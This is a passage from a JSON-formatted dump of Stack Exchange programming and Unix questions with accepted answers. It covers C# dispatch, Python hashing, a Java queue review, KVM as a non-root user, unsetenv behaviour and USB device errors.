Double Dispatch is a Code Smell"  , "title": "Designing classes for non-standard arithmetics"  , "tags": "c#;object oriented"  , "accepted_answer": "You might want to define the base type like thisabstract class Primitive{    public Primitive OpAccess(Primitive right)    {        switch (right)        {            case Number number: return OpAccess(number);            // ... other types            default: throw new ArgumentOutOfRangeException();        }    }    protected abstract Primitive OpAccess(Number right);    // ... other OpAccess}where there is only one public method and the new C# 7 switch takes care of the dispatch and derived classes need to implement only the concrete protected overloads:class Sequence : Primitive{    protected override Primitive OpAccess(Number right)    {        Console.WriteLine(Sequence @ Number);        return null;    }    // ... other OpAccess}dynamic is no longer necessary."  } 
{  "id": "_codereview.93439"  , "question": "I want to go through each line of the a .csv file and compare to see if the first field of line 1 is the same as first field of next line and so on. If it finds a match then I would like to ignore those two lines that contains the same fields and keep the lines where there is no match.Here is an example dataset (no_dup.txt):Ac_Gene_ID  M_Gene_IDENSGMOG00000015632  ENSORLG00000010573ENSGMOG00000015632  ENSORLG00000010585ENSGMOG00000003747  ENSORLG00000006947ENSGMOG00000003748  ENSORLG00000004636Here is the output that I wanted:Ac_Gene_ID  M_Gene_IDENSGMOG00000003747  ENSORLG00000006947ENSGMOG00000003748  ENSORLG00000004636Here is my code that works, but I want to see how it can be improved:import sysin_file = sys.argv[1]out_file = sys.argv[2]entries = {}entries1 = {}with open(in_file, 'r') as fh_in:    for line in fh_in:        if line.startswith('E'):            line = line.strip()            line = line.split()            entry = line[0]            if entry in entries:                entries[entry].append(line)            else:                entries[entry] = [line]with open('no_dup_out.txt', 'w') as fh_out:    for kee, val in entries.iteritems():        if len(val) == 1:            fh_out.write({} \\n.format(val))with open('no_dup_out.txt', 'r') as fh_in2:    for line in fh_in2:        line = line.strip()        line = line.split()        entry = line[1]        if entry in entries1:            entries1[entry].append(line)        else:            entries1[entry] = [line]with open(out_file, 'w') as fh_out2:     for kee, val in entries1.iteritems():        if len(val) == 1:            fh_out2.write({} \\n.format(val))The output that I am getting:[[[['ENSGMOG00000003747',, 'ENSORLG00000006947']]]]     [[[['ENSGMOG00000003748',, 'ENSORLG00000004636']]]]"  , "title": "Comparing two columns in two different rows"  , "tags": "python;csv;hash table;bioinformatics"  } 
{  "id": "_codereview.26008"  , "question": "I need objects in python that I can compare, reference to and hash.In principal a tuple or list would be good enough just thata list I cannot hash and the tuple I cannot change,except replacing it which means losing references to it.So I created a class for it, but still have the feeling there should be a simpler/better solution to it.class MyClass:    def __init__(self, k, l=0, m=0):        self.k = k        self.l = l        self.m = m    def __hash__(self):        n_attr = len(self.__dict__)        return sum(hash(attr)/n_attr for attr in self.__dict__.values())    def __eq__(self, other):        return all(sa==oa for sa, oa in zip(self.__dict__.values(),                                           other.__dict__.values()))Now I can do what I need: creating some objectsx = MyClass(1,2,3)y = MyClass(7)z = MyClass(7,1,0)and some referencesa = x; b = y; c = y; d = zand compare, manipulate ...b == c # Trueb == d # Falseb.l = 1b == c # still Trueb == d # now Trues = {a, d, (a,b)}b in s # Truec in s # True(a,c) in s # TrueI wished I could just forget about the class and do x = 1,2,3y = 7,z = 7,1etc ...Is writing this class the best way to approach this problem? Or did I miss something?edit:After the comment by WinstonEwert I confirmed that the objects cause breakage as keys in dictionarys = {a: 'a', b: 'b'}s[c] # 'b'c.l = 99s[c] # key errors # key errorand decided to replace dictionaries that use these objects as keys byclass MyDict:    def __init__(self, d={}):        self._data = d.items()    def __getitem__(self, key):        for k, v in self._data:            if k == key: return v        raise KeyError    def __setitem__(self, key, value):        for i, (k, v) in enumerate(self._data):            if k == key:                self._data[i] = key, value                return        self._data.append((key,value))    def __contains__(self, key):        for k, v in self._data:            if k == key: return True        return FalseNow I have the desired behaviors = MyDict()s[a] = 'a's[b] = 'b's[c] # 'b'c.l = 99s[c] # still 'b'And I do not need MyClass any more and can use listx = [1,2,3]y = [7,0,0]z = [7,1,0]"  , "title": "Class for simple python object to be hashed and referenced"  , "tags": "python"  , "accepted_answer": "The python dictionary assumes that the keys are immutable. It assumes they will not change. That's why mutable classes in python (such as lists) don't hash. Its to prevent you from putting them in dicts which just won't work. As a result the entire premise of your class is wrong. You shouldn't do that. To follow what python expects, an object should return the same hash and be equal to the same objects throughout its lifetime. If it can't it shouldn't support hashing.We might be able to suggest a better way to do this, but you'll need to show more of how you want to use this class."  } 
{  "id": "_cogsci.11016"  , "question": "We have been running an experiment trying to collect ABR data using the Brainvision EP-PreAmp and Actichamp system. We ran several successful tests with short versions of our experiment, about 10-15 minutes of recording. We were able to process the data in eeglab and saw the components we were expecting.We have recently been running our full experiment, recording for about 45-50 minutes. The files are necessarily much bigger. The test .eeg files were ~150mb and the full .eeg files are ~550mb. All of our Brainvision equipment seems to working (amps, batteries, electrodes), and we are able to get our impedances low before recording. However, when we import the vhdr files into eeglab, it looks like there's no data there. We are thinking this might be an eeglab problem - perhaps the file is too large and something's getting lost in the import?  Any advice would be greatly appreciated."  , "title": "EEG data processing: large data file seems empty"  , "tags": "methodology;eeg;data"  } 
{  "id": "_datascience.356"  , "question": "I attack this problem frequently with inefficiency because it's always pretty low on the priority list and my clients are resistant to change until things break.  I would like some input on how to speed things up.  I have multiple datasets of information in a SQL database.  The database is vendor-designed, so I have little control over the structure.  It's a sql representation of a class-based structure.  It looks a little bit like this:Main-class table -sub-class table 1 -sub-class table 2  -sub-sub-class table ... -sub-class table nEach table contains fields for each attribute of the class.  A join exists which contains all of the fields for each of the sub-classes which contains all of the fields in the class table and all of the fields in each parent class' table, joined by a unique identifier.There are hundreds of classes. which means thousands of views and tens of thousands of columns.Beyond that, there are multiple datasets, indicated by a field value in the Main-class table.  There is the production dataset, visible to all end users, and there are several other datasets comprised of the most current version of the same data from various integration sources.  Daily, we run jobs that compare the production dataset to the live datasets and based on a set of rules we merge the data, purge the live datasets, then start all over again.  The rules are in place because we might trust one source of data more than another for a particular value of a particular class.The jobs are essentially a series of SQL statements that go row-by-row through each dataset, and field by field within each row.  The common changes are limited to a handful of fields in each row, but since anything can change we compare each value.There are 10s of millions of rows of data and in some environments the merge jobs can take longer than 24 hours.  We resolve that problem generally, by throwing more hardware at it, but this isn't a hadoop environment currently so there's a pretty finite limit to what can be done in that regard.How would you go about scaling a solution to this problem such that there were no limitations?  And how would you go about accomplishing the most efficient data-merge?  (currently it is field by field comparisons... painfully slow)."  , "title": "How to best accomplish high speed comparison of like data?"  , "tags": "efficiency;scalability;sql"  } 
{  "id": "_softwareengineering.207674"  , "question": "I'm new to developing software and have been handling feature requests for an internal web-app I built. Sometimes the feature requests are straight-forward and require minimal business logic for me to implement, so I talk to the person for a bit, write their requirements down, and get to work.However, I'm starting to work on feature X where X has dark-corners of business-logic and special-case scenarios keep on popping-up because I didn't ask the right questions and/or the person I'm speaking with didn't think about mentioning it.So I'm curious, how do professionals handle this process? Some things that I thought of are:Require feature requests be written down with the appropriate requirements.Understand their job well-enough so I can do mine.An example to illustrate a similar problem is, implementing government regulations in code. I researched the regulations, created a flowchart and went from there. I could have saved a couple days had someone well-versed in said regulations, written the requirements down and handed them to me.I'm doing the same thing for feature X, except, nothing is written down so I'm unable to deduce their business logic without going through a step-by-step process through their job. Even that fails sometimes, because some special-case wasn't present that day.Using the above example, is it the responsibility of the developer to research this or something that should be provided?Any suggestions for making this process go a bit smoother?"  , "title": "How to formalize feature requests"  , "tags": "design;feature requests"  , "accepted_answer": "The problem you depict has no general solution. You have internal clients (I guess from your question), which are professionals in their field, but of course not specialists in formalizing requirements.In short: it's your task as a programmer to understand the domain well enough to build software. Try to build up a glossary of terms/grasp the language your client speak. Do not expect their logic to be perfect.Also, do not try to make requirements extraction process itself too formal. Iterative development process may help the clients to see missing pieces. Prototypes are also useful. Some clients may be stressed that you do not understand things, which are obvious (to them). Just observing their business process may give you lot of insights.Read those regulations yourself when possible. Try to find someone, if you don't understand specific moments.Unless your clients are technically inclined, it's futile to impose formalities (or even your process) on them. Even worse to speak software-domain language instead of problem-domain language.However, every situation is unique. The best thing is to gather more experience in the problem domain. Just be open-minded to understand problem-domain to the extent needed to build software. Friendly atmosphere also helps a lot. People may get tired of dull req gathering sessions.There are some books on the topic. For example, some parts of http://www.amazon.com/Just-Enough-Requirements-Management-Development/dp/0932633641 (Just Enough Requirements Management: Where Software Development Meets Marketing by Alan Mark Davis) can help to understand how reqs gathering is done on larger scale. Of course, famous Code Complete by Steve McConnell can also give some good insights.Even if your organization has someone, whose job is writing requirements, it may help to participate in the process to at least give earlier feedback on technical feasibility. If there is no person for that, all that is developer's responsibility."  } 
{  "id": "_unix.159069"  , "question": "In a debian host with many users, I want to allow different users to create their own VMs, completely independent of each other.The closest relevant (non-root) way I have seen in guides is by connecting to the qemu:///system hypervisor . This is the system hypervisor which is shared among all users. What is more the disk image file will be owned by root (or kvm) user, meaning that the whole filesystem path to the location of the disk image file must be world readable. For the above and other reasons I want to run my VMs purely and completely as non root user. That is as qemu:///session . So the main question is how do I do that? Are there any guides I could use?I went as far as trying to create new virtual bridge iface, but even though I am member of the netdev group I get permission denied errors when I do the following: virsh -c qemu:///session net-create /etc/libvirt/qemu/networks/mynet.xmlnote than mynet.xml is just like default network but at a different subnet."  , "title": "how can I create a KVM guest 100% as a non root user?"  , "tags": "networking;kvm;not root user;virsh"  , "accepted_answer": "What you're using isn't KVM directly, but a management library called libvirt. You can specify a user which will have access to libvirt's setup (and thus creating VMs and pretty much running virsh commands) by adding the users to the libvirtd and kvm groups on the host.You can also use policykit to manage access, the procedure is described in the libvirt Wiki: http://wiki.libvirt.org/page/SSHPolicyKitSetup"  } 
{  "id": "_codereview.166324"  , "question": "I made a playground to try find prime factors of any given number, and it works, and I'm happy with the first function, even if not correctly named - I don't know what to name it.My main need for improvement is in the second half. I can't for the life of me think of a way of looping through a list until the functions output is constant. I thought of recursion, but I didn't understand it. This is what I came up with, and I'd like to see how I can improve it because it's sloppy and ugly.import UIKitfunc primeFact(tree: [Int]) -> Array<Int> {    var newTree = tree    for element in newTree{        for divisor in 2..<element{            if element%divisor == 0{                newTree = newTree.filter { $0 != element}                newTree+=[(element/divisor),divisor]                break            }        }    }    return newTree}var initial = primeFact(tree: [992])var temp = [Int]()while true {    if primeFact(tree: initial) == initial{        break    }    temp = primeFact(tree: initial)    initial = temp}print(primeFact(tree: initial))"  , "title": "Prime Factorisation in Swift"  , "tags": "primes;swift;iteration"  } 
{  "id": "_unix.21107"  , "question": "If I: dd if=/dev/cdrom of=cdrom.isothen I will always get the exact same, bit-by-bitly same image that is the same as the original CDROM? Or are there any methods that prevents copying all the bits from the CDROM? Asking for archiving old games on old CDROMS"  , "title": "If I dd a CDROM, then I always get the exact copy of the CDROM?"  , "tags": "dd;archive;data cd"  , "accepted_answer": "No, dd can be not sufficient. As examples:If you have a multi-track cd-rom with data and audio track mixed, using dd you will copy only the first data session.Many old video-games cd (on Play-Station 1) use as copy-protection some fake session on the cd. You have to replicate them to obtain a working cd.I successfully used cdparanoia to backup quite all my old game cds."  } 
{  "id": "_softwareengineering.214821"  , "question": "I'm currently trying to figure out the best techniques for organizing GUI view hierarchies, that is dividing a window into several panels which are in turn divided into other components.I've given a look to the Composite Design Pattern, but I don't know if I can find better alternatives, so I'd appreciate to know if using the Composite is a good idea, or it would be better looking for some other techniques.I'm currently developing in Java Swing, but I don't think that the framework or the language can have a great impact on this.Any help will be appreciated.---------EDIT------------I was currently developing a frame containing three labels, one button and a text field. At the button pressed, the content inside the text field would be searched, and the results written inside the three labels.  One of my typical structure would be the following:MainWindow    |    Main panel       |       Panel with text field and labels.       |       Panel with search buttonNow, as the title explains, I was looking for a suitable way of organizing both the MainPanel and the other two panels.But here came problems, since I'm not sure whether organizing them like attributes or storing inside some data structure (i.e. LinkedList or something like this).Anyway, I don't really think that both my solution are really good, so I'm wondering if there are really better approaches for facing this kind of problems.Hope it helps"  , "title": "What are the best ways to organize view hierarchies in GUI interfaces?"  , "tags": "design patterns;gui"  } 
{  "id": "_unix.15353"  , "question": "How can I list the number of connections per client on the FORWARD chain of an OpenWRT router? I know how to list the number of connections per IP address on the router:netstat -ntu | tail -n +3 |       # list open TCP and UDP connectionsawk '{print $5}' | cut -d: -f1 |  # extract client IP addressessort | uniq -c | sort -nr         # show number of occurrences and sort by itI want to do the same with connections that are going through the router's FORWARD chain."  , "title": "Find connections per ip on an OpenWRT router?"  , "tags": "openwrt;routing"  , "accepted_answer": "If I understand your question correctly (which is always dubious with your questions), this isn't possible. Forwarding doesn't keep any state: the router receives a packet, analyses it, sends it onwards to its next destination, and forgets what the packet was. You can count or log packets, but you can't keep track of connections at that level.It would make sense to count current NAT connections. All the connections that the netfilter subsystem keeps track of are listed in /proc/net/ip_conntrack. You can extract the client address withsed -ne 's/^.*src=\\([^ ]*\\).*/\\1/p' /proc/net/ip_conntrack"  } 
{  "id": "_unix.122865"  , "question": "I'm setting up a Raspberry Pi as a proxy access point which accesses the internet via my USB tethered smartphone and is connected to my Windows PC via Ethernet. The internet works fine on the Pi, but I can't get my computer to connect to the Pi as it should. This is my computer's ipconfig when wired up to the Pi: Ethernet adapter Local Area Connection 4:   Connection-specific DNS Suffix  . :    Link-local IPv6 Address . . . . . : fe80::1d6b:1514:ccb5:28cc%23   IPv4 Address. . . . . . . . . . . : 169.254.123.199   Subnet Mask . . . . . . . . . . . : 255.255.0.0   Default Gateway . . . . . . . . . : Ethernet adapter Ethernet:   Connection-specific DNS Suffix  . :    Link-local IPv6 Address . . . . . : fe80::c0e:bb47:359a:cf33%13   Autoconfiguration IPv4 Address. . : 169.254.207.51   Subnet Mask . . . . . . . . . . . : 255.255.0.0   Default Gateway . . . . . . . . . : And here is my /etc/network/interfaces file on the Pi. auto loiface lo inet loopbackallow-hotplug usb0iface usb0 inet dhcpiface eth0 inet staticaddress 192.168.20.1network 192.168.20.0netmask 255.255.255.0broadcast 192.168.20.255gateway 192.168.20.1I've also tried it with this configuration, with the same results: iface eth0 inet staticaddress 192.168.42.200network 192.168.42.0netmask 255.255.255.0broadcast 192.168.42.255gateway 192.168.42.129192.168.42.129 is the gateway that my smartphone uses, for reference. Any help would be greatly appreciated. "  , "title": "Why won't my computer connect to my Linux access point?"  , "tags": "networking;routing;raspberry pi;access point"  } 
{  "id": "_unix.344856"  , "question": "I've been working on the Ubuntu terminal for just a few days now and I need some help asap.I was wondering how I would take data that was in this format as a tab-delimited file:A  red     green  B  yellow  orange  C  blue    purple  And to use commands like grep, paste, cut, cat, etc. to turn it into the following:A redB yellowC BlueA greenB orangeC purple"  , "title": "Take two columns in a tab delimited file and merge into one"  , "tags": "text processing;command line"  } 
{  "id": "_cstheory.27274"  , "question": "This is a proof that I've gone back to many times over the last few years and while I can read it and easily verify the steps, it seems like it's a proof, where I will always essentially forget the details, i.e. if I read it today, I would struggle to write down a full proof tomorrow without actually spending quite a bit of effort. I'm talking about the proof that's e.g. in Goldreich's Foundations of Crypto book, which I believe is standard (I've never seen a different proof).As complexity theory is not my field, I would hope that people who are more experienced in the field could make sense of the proof by answering the following questions:What part of the proof are completely standard techniques?What part of the proof if any is a trick.The basic idea is easy: Given a weak one-way function, repeat it many times, so that any inverter of the repeated function needs to invert all the pieces. Dealing with the lack of independence in processing the components in the inversion is then the tricky part and I'm hoping that there's a way to split it up into standard arguments. At least understanding it in useful pieces that might be applicable elsewhere would be nice, if possible."  , "title": "Understanding the weak-OWF exists -> OWF exists proof"  , "tags": "cr.crypto security;one way function"  } 
{  "id": "_softwareengineering.333339"  , "question": "I have a code snippet in Java: int y = ++x * 5 / x-- + --x;So my confusion was since x--(postfix) has higher precedence than ++x(prefix) operator so x-- should be executed first then ++x.But a book states otherwise.Am I right in my thinking?"  , "title": "Operators precedence"  , "tags": "operators;operator precedence"  } 
{  "id": "_unix.25236"  , "question": "I have VirtualBox instance of Centos 5. The screen size is quite small (800*600) and I'd like to increase it to 1280*1080. Under the Gnome preferences for Screen Resolution I only get the option for 600*800 or 640*480.I've tried editing my xorg.conf (based on this tutorial http://paulsiu.wordpress.com/2008/09/08/creating-and-managing-centos-virtual-machine-under-virtualbox/) but it doesn't seem to have made a difference. Here is a snippet from the edited section:Section Screen    Identifier Screen0    Device     Card0    Monitor    Monitor0    DefaultDepth     24    SubSection Display        Viewport   0 0        Depth     24        Modes   1280x800    EndSubSectionEndSectionDoes anyone know how to do this?"  , "title": "Increasing Screen Size/Resolution on a VirtualBox Instance of Centos"  , "tags": "centos;virtualbox;display settings"  , "accepted_answer": "A maximum resolution of 800x600 suggests that your X server inside the virtual machine is using the SVGA driver. SVGA is the highest resolution for which there is standard support; beyond that, you need a driver.VirtualBox emulates a graphics adapter that is specific to VirtualBox, it does not emulate a previously existing hardware component like most other subsystems. The guest additions include a driver for that adapter. Insert the guest additions CD from the VirtualBox device menu, then run the installation program. Log out, restart the X server (send Ctrl+Alt+Backspace from the VirtualBox menu), and you should have a screen resolution that matches your VirtualBox window. If you find that you still need manual tweaking of your xorg.conf, the manual has some pointers.There's a limit to how high you can get, due to the amount of memory you've allocated to the graphics adapter in the VirtualBox configuration. 8MB will give you up to 1600x1200 in 32 colors. Going beyond that is mostly useful if you use 3D."  } 
{  "id": "_codereview.56193"  , "question": "I study data structures on coursera's course, and there is an extra exercise to create a Queue data structure.I created it:class Queue {  Integer[] data;  int head, tail;  public Queue() {    data = new Integer[2];    head = 0;    tail = 0;  }  public int size() {    return tail - head;  }  public boolean isEmpty() {    return size() == 0;  }  private void realign() {    java.util.Arrays.sort(data, new java.util.Comparator<Object>() {      public int compare(Object o1, Object o2) {        if (o1 == null) return 1;        else if(o2 == null) return -1;        else return 0;      }    });    tail -= head;    head = 0;  }  private void resize() {    if (tail == data.length && size() != data.length) {      realign();    }    if (data.length == size()) {      int newLength = data.length * 2;      //Duplication      Integer[] newData = new Integer[newLength];      System.arraycopy(data, 0, newData, 0, data.length);      data = newData;    } else if (size() == data.length / 4 && size() != 0) {      int newLength = data.length / 2;      //Duplication      Integer[] newData = new Integer[newLength];      System.arraycopy(data, 0, newData, 0, data.length);      data = newData;    }  }  public void enqueue(Integer item) {    if (item == null) { throw new NullPointerException(); }    resize();    data[tail] = item;    tail++;    return;  }  public int dequeue() {    if (isEmpty()) { throw new java.util.NoSuchElementException(); }    int res = data[head];    data[head] = null;    head++;       if (head == tail) {      head = tail = 0;    }    return res;  }}And a test suit for it:import org.junit.Test;import static org.junit.Assert.*;import java.util.*;public class QueueTest {  @Test  public void testQueueN() {    Queue q = new Queue();    int N = 65;    for(int i = 0; i < N; i++) {      q.enqueue(i);    }    assertFalse(q.isEmpty());    for(int i = 0; i < N; i++) {      assertEquals(i, q.dequeue());      assertEquals(N - i -1, q.size());    }    assertTrue(q.isEmpty());  }  @Test  public void testEnDeEn() {    Queue q = new Queue();    q.enqueue(2);    assertEquals(1, q.size());    assertEquals(2, q.dequeue());    q.enqueue(5);    assertEquals(5, q.dequeue());  }  @Test(expected=java.util.NoSuchElementException.class)  public void testDeOnEmpty() {    Queue q = new Queue();    q.dequeue();  }  @Test(expected=NullPointerException.class)  public void testEnWithNull() {    Queue q = new Queue();    q.enqueue(null);  }}Please, review it from perspective of implementation and performance.Update: I improved(thanks to @Vogel612) this code a little bit. Improved version"  , "title": "Queue over resizable array implementation"  , "tags": "java;queue"  , "accepted_answer": "Learn from what already existsThere is an interface defined in java.util.Queue. It makes sense to implement it in your solution.If you don't need some of the methods of the interface, you can just throw new UnsupportedOperationException(); for the time being, and implement them later when you need them.The interface methods will guide your design in the right direction. For example, you implemented methods to add elements at the end and remove from the head, but you did not implement the converse: add at the head and remove from the end. Looking at the methods required by java.util.Queue, you would have spotted that.An existing interface like java.util.Queue also helps you use standard method naming. You called your methods enqueue and dequeue, when they would have been better as add and poll, respectively, following the standard.GeneralizeThe interface in java.util is defined with a type parameter, as Queue<E>. Indeed your implementation would work just fine with any kind of object, not only integers. You could follow the example and generalize your implementation so it can work with anything.If you don't know how to go about that, you can get ideas from an existing implementation, for example the PriorityQueue of OpenJDKAllow null valuesYour implementation doesn't allow null values. I suppose it's because that would break your realign method. If you think about it, that realign method is ugly. Suppose you have 1000 elements, if you call dequeue followed by enqueue, your call will move 999 elements one by one, and in a really awkward way with that comparator and sorting.Hint: realigning could be part of your resizing logic. Now you are resizing the array with:System.arraycopy(data, 0, newData, 0, data.length);But you can do better than that, using head and tail:System.arraycopy(data, head, newData, 0, tail - head);You could get rid of the ugly realign method and allow nulls by refactoring your code (see my solution at the bottom).Don't Repeat YourselfThis code appears twice:Integer[] newData = new Integer[newLength];System.arraycopy(data, 0, newData, 0, data.length);data = newData;This calls for a helper method:private void resize(int newLength) {    Integer[] newData = new Integer[newLength];    System.arraycopy(data, head, newData, 0, tail - head);    data = newData;    tail -= head;    head = 0;}ConstantsIt's good to use constants for clearer logic, and also to avoid duplication. For example:private static final int INITIAL_CAPACITY = 2;private static final int SHRINK_TRIGGER_RATIO = 4;private static final int RESIZE_FACTOR = 2;// ...public Queue() {    data = new Integer[INITIAL_CAPACITY];    // ...}if (tail == data.length) {    resize(data.length * RESIZE_FACTOR);}// ...if (size() == data.length / SHRINK_TRIGGER_RATIO) {    resize(data.length / RESIZE_FACTOR);}When to resize?Your implementation is asymmetric: grow or shrink if needed when adding items. I haven't put a lot of thought into this, but it would seem to make sense to make this symmetric: grow if needed when adding items, shrink if needed when removing items.Unit test case namingFirst of all, it's great that you added many unit tests, covering most of your implementation and corner cases. But your test case names are not very good. It's good to make test case names long and descriptive, for example testDequeueOnEmpty instead of testDeOnEmpty, and testEnqueueDequeueEnqueue instead of testEnDeEn.Although it may seem trivial, I would also add a simple test for emptiness alone:@Testpublic void testIsEmpty() {    Queue q = new Queue();    assertTrue(q.isEmpty());    q.enqueue(4);    assertFalse(q.isEmpty());    q.dequeue();    assertTrue(q.isEmpty());}Suggested implementationHere's an alternative implementation based on yours that supports null values and without the ugly realign method:public class Queue {    private static final int INITIAL_CAPACITY = 2;    private static final int SHRINK_TRIGGER_RATIO = 4;    private static final int RESIZE_FACTOR = 2;    private Integer[] data;    private int head, tail;    public Queue() {        data = new Integer[INITIAL_CAPACITY];        head = 0;        tail = 0;    }    public int size() {        return tail - head;    }    public boolean isEmpty() {        return tail == head;    }    private void resize(int newLength) {        Integer[] newData = new Integer[newLength];        System.arraycopy(data, head, newData, 0, tail - head);        data = newData;        tail -= head;        head = 0;    }    public void enqueue(Integer item) {        if (tail == data.length) {            resize(data.length * RESIZE_FACTOR);        }        data[tail] = item;        tail++;    }    public Integer dequeue() {        if (isEmpty()) {            throw new java.util.NoSuchElementException();        }        Integer item = data[head];        data[head] = null;        head++;        if (head == tail) {            head = tail = 0;        }        if (size() == data.length / SHRINK_TRIGGER_RATIO) {            resize(data.length / RESIZE_FACTOR);        }        return item;    }}"  } 
{  "id": "_unix.302970"  , "question": "I was just looking at this question and wrote a noddy program to demonstrate unsetenv() modifying /proc/pid/environ.  To my surprise it has no effect!Here's what I did:#include <stdio.h>#include <unistd.h>#include <stdlib.h>int main(void){  printf(pid=%d\\n, getpid());  printf(sleeping 10...\\n);  sleep(10);  printf(unsetenv result: %d\\n, unsetenv(WIBBLE));  printf(unset; sleeping 10 more...\\n);  sleep(10);  return 0;}However, when I runWIBBLE=hello ./test_programthen I see WIBBLE in the environment both before and after the unsetenv() runs:# before the unsetenv()$ tr '\\0' '\\n' < /proc/498/environ | grep WIBBLEWIBBLE=hello# after the unsetenv()$ tr '\\0' '\\n' < /proc/498/environ | grep WIBBLEWIBBLE=helloWhy doesn't unsetenv() modify /proc/pid/environ?"  , "title": "Why doesn't unsetenv() modify /proc/pid/environ?"  , "tags": "environment variables;glibc"  , "accepted_answer": "When a program starts, it receives its environment as an array of pointers to some strings in the format var=value. On Linux, those are located at the bottom of the stack. At the very bottom, you have all the strings tucked one after the other (that's what's shown in /proc/pid/environ). And above you have an array of pointers (NULL terminated) to those strings (that's what goes into char *envp[] in your int main(int argc, char* argv[], char* envp[]), and the libc would generally initialise environ to).putenv()/setenv()/unsetenv(), do not modify those strings, they don't generally even modify the pointers. On some systems, those (strings and pointers) are read-only.While the libc will generally initialise char **environ to the address of the first pointer above, any modification of the environment (and those are for future execs), will generally cause a new array of pointers to be created and assigned to environ.If environ is initially [a,b,c,d,NULL], where a is a pointer to x=1, b to y=2, c to z=3, d to q=5, if you do a unsetenv(y), environ would have to become [a,c,d,NULL]. On systems where the initial array list is read-only, a new list would have to be allocated and assigned to environ and [a,c,d,NULL] stored in there. Upon the next unsetenv(), the list could be modified in place. Only if you did unsetenv(x) above could a list not be reallocated (environ could just be incremented to point to &envp[1]. I don't know if some libc implementations actually perform that optimisation).In anycase, there's no reason for the strings themselves stored at the bottom of the stack to be modified in any way. Even if an unsetenv() implementation was actually modifying the data initially received on the stack in-place, it would only modify the pointers, it wouldn't go all the trouble of also erasing the strings they point to. (that seems to be what the GNU libc does on Linux systems (with ELF executables at least), it does modify the list of pointers at envp in place as long as the number of environment variables doesn't increase.You can observe the behaviour using a program like:#include <sys/types.h>#include <unistd.h>#include <stdlib.h>#include <stdio.h>#include <string.h>extern char **environ;int main(int argc, char* argv[], char* envp[]) {  char cmd[128];  int i;  printf(envp: %p environ: %p\\n, envp, environ);  for (i = 0; envp[i]; i++)    printf(  envp[%d]: %p (%s)\\n, i, envp[i], envp[i]);#define DO(x) x; puts(\\nAfter  #x \\n); \\  printf(envp: %p environ: %p\\n, envp, environ); \\  for (i = 0; environ[i]; i++) \\    printf(  environ[%d]: %p (%s)\\n, i, environ[i], environ[i])  DO(unsetenv(a));  DO(setenv(b, xxx, 1));  DO(setenv(c, xxx, 1));  puts(\\nAddress of heap and stack:);  sprintf(cmd, grep -e stack -e heap /proc/%u/maps, getpid());  fflush(stdout);  system(cmd);}On Linux with the GNU libc (same with klibc, musl libc or dietlibc except for the fact that they use mmapped anonymous memory instead of the heap for allocated memory), when run as env -i a=1 x=3 ./e, that gives (comments inline):envp: 0x7ffc2e7b3238 environ: 0x7ffc2e7b3238  envp[0]: 0x7ffc2e7b4fec (a=1)  envp[1]: 0x7ffc2e7b4ff0 (x=3)   # envp[1] is almost at the bottom of the stack. I lied above in that   # there are more things like the path of the executable   # environ initially points to the same pointer list as envpAfter unsetenv(a)envp: 0x7ffc2e7b3238 environ: 0x7ffc2e7b3238  environ[0]: 0x7ffc2e7b4ff0 (x=3)   # here, unsetenv has reused the envp[] list and has not allocated a new   # list. It has shifted the pointers though and not done the optimisation   # I mention aboveAfter setenv(b, xxx, 1)envp: 0x7ffc2e7b3238 environ: 0x1bb3420  environ[0]: 0x7ffc2e7b4ff0 (x=3)  environ[1]: 0x1bb3440 (b=xxx)   # a new list has been allocated on the heap. (it could have reused the   # slot freed by unsetenv() above but didn't, Solaris' version does).   # the b=xxx string is also allocated on the heap.After setenv(c, xxx, 1)envp: 0x7ffc2e7b3238 environ: 0x1bb3490  environ[0]: 0x7ffc2e7b4ff0 (x=3)  environ[1]: 0x1bb3440 (b=xxx)  environ[2]: 0x1bb3420 (c=xxx)Address of heap and stack:01bb3000-01bd4000 rw-p 00000000 00:00                              [heap]7ffc2e794000-7ffc2e7b5000 rw-p 00000000 00:00 0                    [stack]On FreeBSD (11-rc1 here), a new list is allocated already upon unsetenv(). Not only that, but the strings themselves are being copied onto the heap as well so environ is completely disconnected from the envp[] that the program received on start-up after the first modification of the environment:envp: 0x7fffffffedd8 environ: 0x7fffffffedd8  envp[0]: 0x7fffffffef74 (x=2)  envp[1]: 0x7fffffffef78 (a=1)After unsetenv(a)envp: 0x7fffffffedd8 environ: 0x800e24000  environ[0]: 0x800e15008 (x=2)After setenv(b, xxx, 1)envp: 0x7fffffffedd8 environ: 0x800e24000  environ[0]: 0x800e15018 (b=xxx)  environ[1]: 0x800e15008 (x=2)After setenv(c, xxx, 1)envp: 0x7fffffffedd8 environ: 0x800e24000  environ[0]: 0x800e15020 (c=xxx)  environ[1]: 0x800e15018 (b=xxx)  environ[2]: 0x800e15008 (x=2)On Solaris (11 here), we see the optimisation mentioned above (where unsetenv(a) ends up being done with a environ++), the slot freed by unsetenv() being reused for b, but of course a new list of pointers has to be allocated upon the insertion of a new environment variable (c):envp: 0xfeffef6c environ: 0xfeffef6c  envp[0]: 0xfeffefec (a=1)  envp[1]: 0xfeffeff0 (x=2)After unsetenv(a)envp: 0xfeffef6c environ: 0xfeffef70  environ[0]: 0xfeffeff0 (x=2)After setenv(b, xxx, 1)envp: 0xfeffef6c environ: 0xfeffef6c  environ[0]: 0x806145c (b=xxx)  environ[1]: 0xfeffeff0 (x=2)After setenv(c, xxx, 1)envp: 0xfeffef6c environ: 0x8061c48  environ[0]: 0x8061474 (c=xxx)  environ[1]: 0x806145c (b=xxx)  environ[2]: 0xfeffeff0 (x=2)"  } 
{  "id": "_unix.139009"  , "question": "At the last boot, two USB devices were not powered:The Logitech G5 mouse works most of the time, but this time I had to plug it in (in the same motherboard USB port) three or four times before it would power up.The Wi-Fi USB dongle connected to the front panel which usually (not sure about always) does not get powered during boot.It seems the issue is power related, which is a bit of a mystery: All the USB devices work fine on Windows every time, my PSU is pretty beefy, and more importantly, I'd been running Arch Linux with the same hardware for months before this problem occurred. People have suggested at least disabling USB autosuspension, some old_scheme_first magic setting, disabling ehci_hcd and turning it off and on again, but with no explanation I'm reluctant to try fixing by accident. Does anyone know a well explained solution or some way to debug this in more detail? apropos -a usb log returns nothing, and it seems quite difficult to know which one of my 7+ USB devices is to blame.From dmesg of the last boot, in which both these devices were unpowered:usb 4-5: device descriptor read/64, error -110usb 4-5: new high-speed USB device number 5 using ehci-pciusb 4-5: device descriptor read/64, error -110usb 4-5: device descriptor read/64, error -110usb 4-5: new high-speed USB device number 6 using ehci-pciusb 4-5: device not accepting address 6, error -110usb 4-5: new high-speed USB device number 7 using ehci-pciusb 4-5: device not accepting address 7, error -110hub 